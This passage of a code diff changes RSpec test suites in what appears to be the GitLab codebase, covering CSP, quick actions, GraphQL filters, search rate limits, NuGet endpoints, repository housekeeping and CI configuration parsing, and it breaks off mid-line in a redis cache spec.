@@ -48,6 +59,40 @@ RSpec.shared_examples 'observability csp policy' do |controller_class = describe
end
end
+ context 'when observability is disabled' do
+ let(:csp) do
+ ActionDispatch::ContentSecurityPolicy.new do |p|
+ p.frame_src 'https://something.test'
+ end
+ end
+
+ before do
+ allow(Gitlab::Observability).to receive(:observability_enabled?).and_return(false)
+ end
+
+ it 'does not add observability urls to the csp header' do
+ expect(subject).to include("frame-src https://something.test")
+ expect(subject).not_to include("#{observability_url} #{signin_url} #{oauth_url}")
+ end
+ end
+
+ context 'when checking if observability is enabled' do
+ let(:csp) do
+ ActionDispatch::ContentSecurityPolicy.new do |p|
+ p.frame_src 'https://something.test'
+ end
+ end
+
+ it 'check access for a given user and group' do
+ allow(Gitlab::Observability).to receive(:observability_enabled?)
+
+ get tested_path
+
+ expect(Gitlab::Observability).to have_received(:observability_enabled?)
+ .with(user, group).at_least(:once)
+ end
+ end
+
context 'when frame-src exists in the CSP config' do
let(:csp) do
ActionDispatch::ContentSecurityPolicy.new do |p|
diff --git a/spec/support/shared_examples/quick_actions/issuable/close_quick_action_shared_examples.rb b/spec/support/shared_examples/quick_actions/issuable/close_quick_action_shared_examples.rb
index ca6536444fd..d8690356f81 100644
--- a/spec/support/shared_examples/quick_actions/issuable/close_quick_action_shared_examples.rb
+++ b/spec/support/shared_examples/quick_actions/issuable/close_quick_action_shared_examples.rb
@@ -12,10 +12,10 @@ RSpec.shared_examples 'close quick action' do |issuable_type|
before do
case issuable_type
when :merge_request
- visit public_send('namespace_project_new_merge_request_path', project.namespace, project, new_url_opts)
+ visit public_send(:namespace_project_new_merge_request_path, project.namespace, project, new_url_opts)
wait_for_all_requests
when :issue
- visit public_send('new_namespace_project_issue_path', project.namespace, project, new_url_opts)
+ visit public_send(:new_namespace_project_issue_path, project.namespace, project, new_url_opts)
wait_for_all_requests
end
end
diff --git a/spec/support/shared_examples/quick_actions/issue/promote_to_incident_quick_action_shared_examples.rb b/spec/support/shared_examples/quick_actions/issue/promote_to_incident_quick_action_shared_examples.rb
index 5167d27f8b9..3f1a98ca08e 100644
--- a/spec/support/shared_examples/quick_actions/issue/promote_to_incident_quick_action_shared_examples.rb
+++ b/spec/support/shared_examples/quick_actions/issue/promote_to_incident_quick_action_shared_examples.rb
@@ -36,5 +36,33 @@ RSpec.shared_examples 'promote_to_incident quick action' do
expect(page).to have_content('Could not apply promote_to_incident command')
end
end
+
+ context 'on issue creation' do
+ it 'promotes issue to incident' do
+ visit new_project_issue_path(project)
+ fill_in('Title', with: 'Title')
+ fill_in('Description', with: '/promote_to_incident')
+ click_button('Create issue')
+
+ wait_for_all_requests
+
+ expect(page).to have_content("Incident created just now by #{user.name}")
+ end
+
+ context 'when incident is selected for issue type' do
+ it 'promotes issue to incident' do
+ visit new_project_issue_path(project)
+ fill_in('Title', with: 'Title')
+ find('.js-issuable-type-filter-dropdown-wrap').click
+ click_link('Incident')
+ fill_in('Description', with: '/promote_to_incident')
+ click_button('Create issue')
+
+ wait_for_all_requests
+
+ expect(page).to have_content("Incident created just now by #{user.name}")
+ end
+ end
+ end
end
end
diff --git a/spec/support/shared_examples/requests/api/graphql/issue_list_shared_examples.rb b/spec/support/shared_examples/requests/api/graphql/issue_list_shared_examples.rb
index d4479e462af..d4af9e570d1 100644
--- a/spec/support/shared_examples/requests/api/graphql/issue_list_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/graphql/issue_list_shared_examples.rb
@@ -17,6 +17,11 @@ RSpec.shared_examples 'graphql issue list request spec' do
end
describe 'filters' do
+ before_all do
+ issue_a.assignee_ids = current_user.id
+ issue_b.assignee_ids = another_user.id
+ end
+
context 'when filtering by assignees' do
context 'when both assignee_username filters are provided' do
let(:issue_filter_params) do
@@ -44,12 +49,30 @@ RSpec.shared_examples 'graphql issue list request spec' do
end
context 'when filtering by unioned arguments' do
- let(:issue_filter_params) { { or: { assignee_usernames: [current_user.username, another_user.username] } } }
+ context 'when filtering by assignees' do
+ let(:issue_filter_params) { { or: { assignee_usernames: [current_user.username, another_user.username] } } }
- it 'returns correctly filtered issues' do
- post_query
+ it 'returns correctly filtered issues' do
+ post_query
- expect(issue_ids).to match_array(expected_unioned_assignee_issues.map { |i| i.to_gid.to_s })
+ expect(issue_ids).to match_array([issue_a, issue_b].map { |i| i.to_gid.to_s })
+ end
+ end
+
+ context 'when filtering by labels' do
+ let_it_be(:label_a) { create(:label, project: issue_a.project) }
+ let_it_be(:label_b) { create(:label, project: issue_b.project) }
+
+ let(:issue_filter_params) { { or: { label_names: [label_a.title, label_b.title] } } }
+
+ it 'returns correctly filtered issues' do
+ issue_a.label_ids = label_a.id
+ issue_b.label_ids = label_b.id
+
+ post_graphql(query, current_user: current_user)
+
+ expect(issue_ids).to match_array([issue_a, issue_b].map { |i| i.to_gid.to_s })
+ end
end
context 'when argument is blank' do
@@ -63,6 +86,8 @@ RSpec.shared_examples 'graphql issue list request spec' do
end
context 'when feature flag is disabled' do
+ let(:issue_filter_params) { { or: { assignee_usernames: [current_user.username] } } }
+
it 'returns an error' do
stub_feature_flags(or_issuable_queries: false)
diff --git a/spec/support/shared_examples/requests/api/issuable_search_shared_examples.rb b/spec/support/shared_examples/requests/api/issuable_search_shared_examples.rb
index 9f67bd69560..fcde3b65b4f 100644
--- a/spec/support/shared_examples/requests/api/issuable_search_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/issuable_search_shared_examples.rb
@@ -34,3 +34,35 @@ RSpec.shared_examples 'issuable anonymous search' do
end
end
end
+
+RSpec.shared_examples 'issuable API rate-limited search' do
+ it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
+ let(:current_user) { user }
+
+ def request
+ get api(url, current_user), params: { scope: 'all', search: issuable.title }
+ end
+ end
+
+ it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit_unauthenticated do
+ def request
+ get api(url), params: { scope: 'all', search: issuable.title }
+ end
+ end
+
+ context 'when rate_limit_issuable_searches is disabled', :freeze_time, :clean_gitlab_redis_rate_limiting do
+ before do
+ stub_feature_flags(rate_limit_issuable_searches: false)
+
+ allow(Gitlab::ApplicationRateLimiter).to receive(:threshold)
+ .with(:search_rate_limit_unauthenticated).and_return(1)
+ end
+
+ it 'does not enforce the rate limit' do
+ get api(url), params: { scope: 'all', search: issuable.title }
+ get api(url), params: { scope: 'all', search: issuable.title }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb b/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb
index 290bf58fb6b..17d8b9c7fab 100644
--- a/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/nuget_endpoints_shared_examples.rb
@@ -1,6 +1,11 @@
# frozen_string_literal: true
-RSpec.shared_examples 'handling nuget service requests' do |anonymous_requests_example_name: 'process nuget service index request', anonymous_requests_status: :success|
+RSpec.shared_examples 'handling nuget service requests' do |example_names_with_status: {}|
+ anonymous_requests_example_name = example_names_with_status.fetch(:anonymous_requests_example_name, 'process nuget service index request')
+ anonymous_requests_status = example_names_with_status.fetch(:anonymous_requests_status, :success)
+ guest_requests_example_name = example_names_with_status.fetch(:guest_requests_example_name, 'rejects nuget packages access')
+ guest_requests_status = example_names_with_status.fetch(:guest_requests_status, :forbidden)
+
subject { get api(url) }
context 'with valid target' do
@@ -18,7 +23,7 @@ RSpec.shared_examples 'handling nuget service requests' do |anonymous_requests_e
'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
'PUBLIC' | :anonymous | false | true | anonymous_requests_example_name | anonymous_requests_status
'PRIVATE' | :developer | true | true | 'process nuget service index request' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :guest | true | true | guest_requests_example_name | guest_requests_status
'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
@@ -54,7 +59,7 @@ RSpec.shared_examples 'handling nuget service requests' do |anonymous_requests_e
'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
'PUBLIC' | :anonymous | false | true | anonymous_requests_example_name | anonymous_requests_status
'PRIVATE' | :developer | true | true | 'process nuget service index request' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :guest | true | true | guest_requests_example_name | guest_requests_status
'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
@@ -90,9 +95,14 @@ RSpec.shared_examples 'handling nuget service requests' do |anonymous_requests_e
it_behaves_like 'rejects nuget access with invalid target id'
end
-RSpec.shared_examples 'handling nuget metadata requests with package name' do |anonymous_requests_example_name: 'process nuget metadata request at package name level', anonymous_requests_status: :success|
+RSpec.shared_examples 'handling nuget metadata requests with package name' do |example_names_with_status: {}|
include_context 'with expected presenters dependency groups'
+ anonymous_requests_example_name = example_names_with_status.fetch(:anonymous_requests_example_name, 'process nuget metadata request at package name level')
+ anonymous_requests_status = example_names_with_status.fetch(:anonymous_requests_status, :success)
+ guest_requests_example_name = example_names_with_status.fetch(:guest_requests_example_name, 'rejects nuget packages access')
+ guest_requests_status = example_names_with_status.fetch(:guest_requests_status, :forbidden)
+
let_it_be(:package_name) { 'Dummy.Package' }
let_it_be(:packages) { create_list(:nuget_package, 5, :with_metadatum, name: package_name, project: project) }
let_it_be(:tags) { packages.each { |pkg| create(:packages_tag, package: pkg, name: 'test') } }
@@ -117,7 +127,7 @@ RSpec.shared_examples 'handling nuget metadata requests with package name' do |a
'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
'PUBLIC' | :anonymous | false | true | anonymous_requests_example_name | anonymous_requests_status
'PRIVATE' | :developer | true | true | 'process nuget metadata request at package name level' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :guest | true | true | guest_requests_example_name | guest_requests_status
'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
@@ -152,9 +162,14 @@ RSpec.shared_examples 'handling nuget metadata requests with package name' do |a
end
end
-RSpec.shared_examples 'handling nuget metadata requests with package name and package version' do |anonymous_requests_example_name: 'process nuget metadata request at package name and package version level', anonymous_requests_status: :success|
+RSpec.shared_examples 'handling nuget metadata requests with package name and package version' do |example_names_with_status: {}|
include_context 'with expected presenters dependency groups'
+ anonymous_requests_example_name = example_names_with_status.fetch(:anonymous_requests_example_name, 'process nuget metadata request at package name and package version level')
+ anonymous_requests_status = example_names_with_status.fetch(:anonymous_requests_status, :success)
+ guest_requests_example_name = example_names_with_status.fetch(:guest_requests_example_name, 'rejects nuget packages access')
+ guest_requests_status = example_names_with_status.fetch(:guest_requests_status, :forbidden)
+
let_it_be(:package_name) { 'Dummy.Package' }
let_it_be(:package) { create(:nuget_package, :with_metadatum, name: package_name, project: project) }
let_it_be(:tag) { create(:packages_tag, package: package, name: 'test') }
@@ -179,7 +194,7 @@ RSpec.shared_examples 'handling nuget metadata requests with package name and pa
'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
'PUBLIC' | :anonymous | false | true | anonymous_requests_example_name | anonymous_requests_status
'PRIVATE' | :developer | true | true | 'process nuget metadata request at package name and package version level' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :guest | true | true | guest_requests_example_name | guest_requests_status
'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
@@ -214,7 +229,12 @@ RSpec.shared_examples 'handling nuget metadata requests with package name and pa
it_behaves_like 'rejects nuget access with invalid target id'
end
-RSpec.shared_examples 'handling nuget search requests' do |anonymous_requests_example_name: 'process nuget search request', anonymous_requests_status: :success|
+RSpec.shared_examples 'handling nuget search requests' do |example_names_with_status: {}|
+ anonymous_requests_example_name = example_names_with_status.fetch(:anonymous_requests_example_name, 'process nuget search request')
+ anonymous_requests_status = example_names_with_status.fetch(:anonymous_requests_status, :success)
+ guest_requests_example_name = example_names_with_status.fetch(:guest_requests_example_name, 'rejects nuget packages access')
+ guest_requests_status = example_names_with_status.fetch(:guest_requests_status, :forbidden)
+
let_it_be(:package_a) { create(:nuget_package, :with_metadatum, name: 'Dummy.PackageA', project: project) }
let_it_be(:tag) { create(:packages_tag, package: package_a, name: 'test') }
let_it_be(:packages_b) { create_list(:nuget_package, 5, name: 'Dummy.PackageB', project: project) }
@@ -244,7 +264,7 @@ RSpec.shared_examples 'handling nuget search requests' do |anonymous_requests_ex
'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
'PUBLIC' | :anonymous | false | true | anonymous_requests_example_name | anonymous_requests_status
'PRIVATE' | :developer | true | true | 'process nuget search request' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :guest | true | true | guest_requests_example_name | guest_requests_status
'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
diff --git a/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
index bace570e47a..3abe545db59 100644
--- a/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
@@ -379,6 +379,26 @@ RSpec.shared_examples 'process nuget search request' do |user_type, status, add_
end
end
+RSpec.shared_examples 'process empty nuget search request' do |user_type, status, add_member = true|
+ before do
+ target.send("add_#{user_type}", user) if add_member && user_type != :anonymous
+ end
+
+ it_behaves_like 'returning response status', status
+
+ it 'returns a valid json response' do
+ subject
+
+ expect(response.media_type).to eq('application/json')
+ expect(json_response).to be_a(Hash)
+ expect(json_response).to match_schema('public_api/v4/packages/nuget/search')
+ expect(json_response['totalHits']).to eq(0)
+ expect(json_response['data'].map { |e| e['versions'].size }).to be_empty
+ end
+
+ it_behaves_like 'a package tracking event', 'API::NugetPackages', 'search_package'
+end
+
RSpec.shared_examples 'rejects nuget access with invalid target id' do
context 'with a target id with invalid integers' do
using RSpec::Parameterized::TableSyntax
diff --git a/spec/support/shared_examples/services/issuable_links/create_links_shared_examples.rb b/spec/support/shared_examples/services/issuable_links/create_links_shared_examples.rb
index 12f2b5d78a5..e47ff2fcd59 100644
--- a/spec/support/shared_examples/services/issuable_links/create_links_shared_examples.rb
+++ b/spec/support/shared_examples/services/issuable_links/create_links_shared_examples.rb
@@ -30,7 +30,7 @@ RSpec.shared_examples 'issuable link creation' do
context 'when user has no permission to target issuable' do
let(:params) do
- { issuable_references: [guest_issuable.to_reference(issuable_parent)] }
+ { issuable_references: [restricted_issuable.to_reference(issuable_parent)] }
end
it 'returns error' do
diff --git a/spec/support/shared_examples/services/issuable_links/destroyable_issuable_links_shared_examples.rb b/spec/support/shared_examples/services/issuable_links/destroyable_issuable_links_shared_examples.rb
index cc170c6544d..1532e870dcc 100644
--- a/spec/support/shared_examples/services/issuable_links/destroyable_issuable_links_shared_examples.rb
+++ b/spec/support/shared_examples/services/issuable_links/destroyable_issuable_links_shared_examples.rb
@@ -1,10 +1,11 @@
# frozen_string_literal: true
-RSpec.shared_examples 'a destroyable issuable link' do
+RSpec.shared_examples 'a destroyable issuable link' do |required_role: :reporter|
context 'when successfully removes an issuable link' do
before do
- issuable_link.source.resource_parent.add_reporter(user)
- issuable_link.target.resource_parent.add_reporter(user)
+ [issuable_link.target, issuable_link.source].each do |issuable|
+ issuable.resource_parent.try(:"add_#{required_role}", user)
+ end
end
it 'removes related issue' do
diff --git a/spec/support/shared_examples/services/repositories/housekeeping_shared_examples.rb b/spec/support/shared_examples/services/repositories/housekeeping_shared_examples.rb
index 8a937303711..8cc71230ba4 100644
--- a/spec/support/shared_examples/services/repositories/housekeeping_shared_examples.rb
+++ b/spec/support/shared_examples/services/repositories/housekeeping_shared_examples.rb
@@ -65,12 +65,9 @@ RSpec.shared_examples 'housekeeps repository' do
# At push 200
expect(resource.git_garbage_collect_worker_klass).to receive(:perform_async).with(resource.id, :gc, :the_lease_key, :the_uuid)
.once
- # At push 50, 100, 150
- expect(resource.git_garbage_collect_worker_klass).to receive(:perform_async).with(resource.id, :full_repack, :the_lease_key, :the_uuid)
- .exactly(3).times
- # At push 10, 20, ... (except those above)
+ # At push 10, 20, ... (except the gc call)
expect(resource.git_garbage_collect_worker_klass).to receive(:perform_async).with(resource.id, :incremental_repack, :the_lease_key, :the_uuid)
- .exactly(16).times
+ .exactly(19).times
201.times do
subject.increment!
@@ -79,37 +76,6 @@ RSpec.shared_examples 'housekeeps repository' do
expect(resource.pushes_since_gc).to eq(1)
end
-
- context 'when optimized_repository feature flag is disabled' do
- before do
- stub_feature_flags(optimized_housekeeping: false)
- end
-
- it 'calls also the garbage collect worker with pack_refs every 6 commits' do
- allow(subject).to receive(:try_obtain_lease).and_return(:the_uuid)
- allow(subject).to receive(:lease_key).and_return(:the_lease_key)
-
- # At push 200
- expect(resource.git_garbage_collect_worker_klass).to receive(:perform_async).with(resource.id, :gc, :the_lease_key, :the_uuid)
- .once
- # At push 50, 100, 150
- expect(resource.git_garbage_collect_worker_klass).to receive(:perform_async).with(resource.id, :full_repack, :the_lease_key, :the_uuid)
- .exactly(3).times
- # At push 10, 20, ... (except those above)
- expect(resource.git_garbage_collect_worker_klass).to receive(:perform_async).with(resource.id, :incremental_repack, :the_lease_key, :the_uuid)
- .exactly(16).times
- # At push 6, 12, 18, ... (except those above)
- expect(resource.git_garbage_collect_worker_klass).to receive(:perform_async).with(resource.id, :pack_refs, :the_lease_key, :the_uuid)
- .exactly(27).times
-
- 201.times do
- subject.increment!
- subject.execute if subject.needed?
- end
-
- expect(resource.pushes_since_gc).to eq(1)
- end
- end
end
it 'runs the task specifically requested' do
@@ -136,15 +102,11 @@ RSpec.shared_examples 'housekeeps repository' do
expect(subject.needed?).to eq(true)
end
- context 'when optimized_housekeeping is disabled' do
- before do
- stub_feature_flags(optimized_housekeeping: false)
- end
+ it 'when incremental repack period is not multiple of gc period' do
+ allow(Gitlab::CurrentSettings).to receive(:housekeeping_incremental_repack_period).and_return(12)
+ allow(resource).to receive(:pushes_since_gc).and_return(200)
- it 'returns true pack refs is needed' do
- allow(resource).to receive(:pushes_since_gc).and_return(described_class::PACK_REFS_PERIOD)
- expect(subject.needed?).to eq(true)
- end
+ expect(subject.needed?).to eq(true)
end
end
diff --git a/spec/support/shared_examples/services/security/ci_configuration/create_service_shared_examples.rb b/spec/support/shared_examples/services/security/ci_configuration/create_service_shared_examples.rb
index 105c4247ff7..716be8c6210 100644
--- a/spec/support/shared_examples/services/security/ci_configuration/create_service_shared_examples.rb
+++ b/spec/support/shared_examples/services/security/ci_configuration/create_service_shared_examples.rb
@@ -88,6 +88,68 @@ RSpec.shared_examples_for 'services security ci configuration create service' do
end
end
+ context 'when existing ci config contains anchors/aliases' do
+ let(:params) { {} }
+ let(:unsupported_yaml) do
+ <<-YAML
+ image: python:latest
+
+ cache: &global_cache
+ key: 'common-cache'
+ paths:
+ - .cache/pip
+ - venv/
+
+ test:
+ cache:
+ <<: *global_cache
+ key: 'custom-cache'
+ script:
+ - python setup.py test
+ - pip install tox flake8 # you can also use tox
+ - tox -e py36,flake8
+ YAML
+ end
+
+ it 'fails with error' do
+ expect(project).to receive(:ci_config_for).and_return(unsupported_yaml)
+
+ expect { result }.to raise_error(Gitlab::Graphql::Errors::MutationError, '.gitlab-ci.yml with aliases/anchors is not supported. Please change the CI configuration manually.')
+ end
+ end
+
+ context 'when parsing existing ci config gives a Psych error' do
+ let(:params) { {} }
+ let(:invalid_yaml) do
+ <<-YAML
+ image: python:latest
+
+ test:
+ script:
+ - python setup.py test
+ - pip install tox flake8 # you can also use tox
+ - tox -e py36,flake8
+ YAML
+ end
+
+ it 'fails with error' do
+ expect(project).to receive(:ci_config_for).and_return(invalid_yaml)
+ expect(YAML).to receive(:safe_load).and_raise(Psych::Exception)
+
+ expect { result }.to raise_error(Gitlab::Graphql::Errors::MutationError, /merge request creation mutation failed/)
+ end
+ end
+
+ context 'when parsing existing ci config gives any other error' do
+ let(:params) { {} }
+ let_it_be(:repository) { project.repository }
+
+ it 'is successful' do
+ expect(repository).to receive(:root_ref_sha).and_raise(StandardError)
+ expect(result.status).to eq(:success)
+ end
+ end
+
unless skip_w_params
context 'with parameters' do
let(:params) { non_empty_params }
diff --git a/spec/support/shared_examples/workers/batched_background_migration_worker_shared_examples.rb b/spec/support/shared_examples/workers/batched_background_migration_worker_shared_examples.rb
index 09ebc495e61..8ec955940c0 100644
--- a/spec/support/shared_examples/workers/batched_background_migration_worker_shared_examples.rb
+++ b/spec/support/shared_examples/workers/batched_background_migration_worker_shared_examples.rb
@@ -256,6 +256,7 @@ RSpec.shared_examples 'it runs batched background migration jobs' do |tracking_d
Class.new(Gitlab::BackgroundMigration::BatchedMigrationJob) do
job_arguments :matching_status
operation_name :update_all
+ feature_category :code_review_workflow
def perform
each_sub_batch(
@@ -325,16 +326,16 @@ RSpec.shared_examples 'it runs batched background migration jobs' do |tracking_d
stub_const('Gitlab::BackgroundMigration::ExampleDataMigration', migration_class)
end
- shared_examples 'batched background migration execution' do
- subject(:full_migration_run) do
- # process all batches, then do an extra execution to mark the job as finished
- (number_of_batches + 1).times do
- described_class.new.perform
+ subject(:full_migration_run) do
+ # process all batches, then do an extra execution to mark the job as finished
+ (number_of_batches + 1).times do
+ described_class.new.perform
- travel_to((migration.interval + described_class::INTERVAL_VARIANCE).seconds.from_now)
- end
+ travel_to((migration.interval + described_class::INTERVAL_VARIANCE).seconds.from_now)
end
+ end
+ shared_examples 'batched background migration execution' do
it 'marks the migration record as finished' do
expect { full_migration_run }.to change { migration.reload.status }.from(1).to(3) # active -> finished
end
@@ -404,6 +405,15 @@ RSpec.shared_examples 'it runs batched background migration jobs' do |tracking_d
end
it_behaves_like 'batched background migration execution'
+
+ it 'assigns proper feature category to the context and the worker' do
+ expected_feature_category = migration_class.feature_category.to_s
+
+ expect { full_migration_run }.to change {
+ Gitlab::ApplicationContext.current["meta.feature_category"]
+ }.to(expected_feature_category)
+ .and change { described_class.get_feature_category }.from(:database).to(expected_feature_category)
+ end
end
context 'when parallel execution is enabled', :sidekiq_inline do
diff --git a/spec/support/shared_examples/workers/concerns/git_garbage_collect_methods_shared_examples.rb b/spec/support/shared_examples/workers/concerns/git_garbage_collect_methods_shared_examples.rb
index 503e331ea2e..ba1bdfa7aa8 100644
--- a/spec/support/shared_examples/workers/concerns/git_garbage_collect_methods_shared_examples.rb
+++ b/spec/support/shared_examples/workers/concerns/git_garbage_collect_methods_shared_examples.rb
@@ -24,19 +24,6 @@ RSpec.shared_examples 'can collect git garbage' do |update_statistics: true|
subject.perform(*params)
end
-
- context 'when optimized_housekeeping feature is disabled' do
- before do
- stub_feature_flags(optimized_housekeeping: false)
- end
-
- specify do
- expect(subject).to receive(:get_gitaly_client).with(task, repository.raw_repository).and_return(repository_service)
- expect(repository_service).to receive(gitaly_task)
-
- subject.perform(*params)
- end
- end
end
shared_examples 'it updates the resource statistics' do
@@ -91,20 +78,6 @@ RSpec.shared_examples 'can collect git garbage' do |update_statistics: true|
expect { subject.perform(*params) }.to raise_exception(Gitlab::Git::Repository::NoRepository)
end
-
- context 'when optimized_housekeeping feature flag is disabled' do
- before do
- stub_feature_flags(optimized_housekeeping: false)
- end
-
- it 'handles gRPC errors' do
- allow_next_instance_of(Gitlab::GitalyClient::RepositoryService, repository.raw_repository) do |instance|
- allow(instance).to receive(:garbage_collect).and_raise(GRPC::NotFound)
- end
-
- expect { subject.perform(*params) }.to raise_exception(Gitlab::Git::Repository::NoRepository)
- end
- end
end
context 'with different lease than the active one' do
@@ -161,51 +134,6 @@ RSpec.shared_examples 'can collect git garbage' do |update_statistics: true|
end
end
- context 'repack_full' do
- let(:task) { :full_repack }
- let(:gitaly_task) { :repack_full }
-
- before do
- expect(subject).to receive(:get_lease_uuid).and_return(lease_uuid)
- end
-
- it_behaves_like 'it calls Gitaly'
- it_behaves_like 'it updates the resource statistics' if update_statistics
- end
-
- context 'pack_refs' do
- let(:task) { :pack_refs }
- let(:gitaly_task) { :pack_refs }
-
- before do
- expect(subject).to receive(:get_lease_uuid).and_return(lease_uuid)
- end
-
- it_behaves_like 'it calls Gitaly' do
- let(:repository_service) { instance_double(Gitlab::GitalyClient::RefService) }
- end
-
- it 'does not update the resource statistics' do
- expect(statistics_service_klass).not_to receive(:new)
-
- subject.perform(*params)
- end
- end
-
- context 'repack_incremental' do
- let(:task) { :incremental_repack }
- let(:gitaly_task) { :repack_incremental }
-
- before do
- expect(subject).to receive(:get_lease_uuid).and_return(lease_uuid)
-
- statistics_keys.delete(:repository_size)
- end
-
- it_behaves_like 'it calls Gitaly'
- it_behaves_like 'it updates the resource statistics' if update_statistics
- end
-
context 'prune' do
before do
expect(subject).to receive(:get_lease_uuid).and_return(lease_uuid)
@@ -219,41 +147,5 @@ RSpec.shared_examples 'can collect git garbage' do |update_statistics: true|
subject.perform(resource.id, 'prune', lease_key, lease_uuid)
end
end
-
- shared_examples 'gc tasks' do
- before do
- allow(subject).to receive(:get_lease_uuid).and_return(lease_uuid)
- allow(subject).to receive(:bitmaps_enabled?).and_return(bitmaps_enabled)
-
- stub_feature_flags(optimized_housekeeping: false)
- end
-
- it 'cleans up repository after finishing' do
- expect(resource).to receive(:cleanup).and_call_original
-
- subject.perform(resource.id, 'gc', lease_key, lease_uuid)
- end
-
- it 'prune calls garbage_collect with the option prune: true' do
- repository_service = instance_double(Gitlab::GitalyClient::RepositoryService)
-
- expect(subject).to receive(:get_gitaly_client).with(:prune, repository.raw_repository).and_return(repository_service)
- expect(repository_service).to receive(:garbage_collect).with(bitmaps_enabled, prune: true)
-
- subject.perform(resource.id, 'prune', lease_key, lease_uuid)
- end
- end
-
- context 'with bitmaps enabled' do
- let(:bitmaps_enabled) { true }
-
- include_examples 'gc tasks'
- end
-
- context 'with bitmaps disabled' do
- let(:bitmaps_enabled) { false }
-
- include_examples 'gc tasks'
- end
end
end
diff --git a/spec/support/shared_examples/workers/update_repository_move_shared_examples.rb b/spec/support/shared_examples/workers/update_repository_move_shared_examples.rb
index c50dc6d5372..9b7183a9eac 100644
--- a/spec/support/shared_examples/workers/update_repository_move_shared_examples.rb
+++ b/spec/support/shared_examples/workers/update_repository_move_shared_examples.rb
@@ -1,6 +1,10 @@
# frozen_string_literal: true
RSpec.shared_examples 'an update storage move worker' do
+ it 'has the `until_executed` deduplicate strategy' do
+ expect(described_class.get_deduplicate_strategy).to eq(:until_executed)
+ end
+
describe '#perform' do
let(:service) { double(:update_repository_storage_service) }
diff --git a/spec/support/tmpdir.rb b/spec/support/tmpdir.rb
new file mode 100644
index 00000000000..ea8e26d2878
--- /dev/null
+++ b/spec/support/tmpdir.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module TmpdirHelper
+ def mktmpdir
+ @tmpdir_helper_dirs ||= []
+ @tmpdir_helper_dirs << Dir.mktmpdir
+ @tmpdir_helper_dirs.last
+ end
+
+ def self.included(base)
+ base.after do
+ if @tmpdir_helper_dirs
+ FileUtils.rm_rf(@tmpdir_helper_dirs)
+ @tmpdir_helper_dirs = nil
+ end
+ end
+ end
+end
diff --git a/spec/support_specs/license_metadata_tags_spec.rb b/spec/support_specs/license_metadata_tags_spec.rb
new file mode 100644
index 00000000000..f89a32574c7
--- /dev/null
+++ b/spec/support_specs/license_metadata_tags_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+# These specs only make sense if ee/spec/spec_helper is loaded
+# In FOSS_ONLY=1 mode, nothing should happen
+RSpec.describe 'license metadata tags', feature_category: :sm_provisioning, if: Gitlab.ee? do
+ it 'applies the without_license metadata tag by default' do |example|
+ expect(example.metadata[:without_license]).to eq(true)
+ end
+
+ it 'does not apply the with_license metadata tag by default' do |example|
+ expect(example.metadata[:with_license]).to be_nil
+ end
+
+ it 'does not have a current license' do
+ expect(License.current).to be_nil
+ end
+
+ context 'with with_license tag', :with_license do
+ it 'has a current license' do
+ expect(License.current).to be_present
+ end
+ end
+
+ context 'with without_license tag', :without_license do
+ it 'does not have a current license' do
+ expect(License.current).to be_nil
+ end
+ end
+end
diff --git a/spec/tasks/cache/clear/redis_spec.rb b/spec/tasks/cache/clear/redis_spec.rb
index e8c62bbe124..9b6ea3891d9 100644
--- a/spec/tasks/cache/clear/redis_spec.rb
+++ b/spec/tasks/cache/clear/redis_spec.rb
@@ -2,13 +2,16 @@
require 'rake_helper'
-RSpec.describe 'clearing redis cache', :clean_gitlab_redis_cache, :silence_stdout do
+RSpec.describe 'clearing redis cache', :clean_gitlab_redis_repository_cache, :clean_gitlab_redis_cache,
+ :silence_stdout, feature_category: :redis do
before do
Rake.application.rake_require 'tasks/cache'
end
+ let(:keys_size_changed) { -1 }
+
shared_examples 'clears the cache' do
- it { expect { run_rake_task('cache:clear:redis') }.to change { redis_keys.size }.by(-1) }
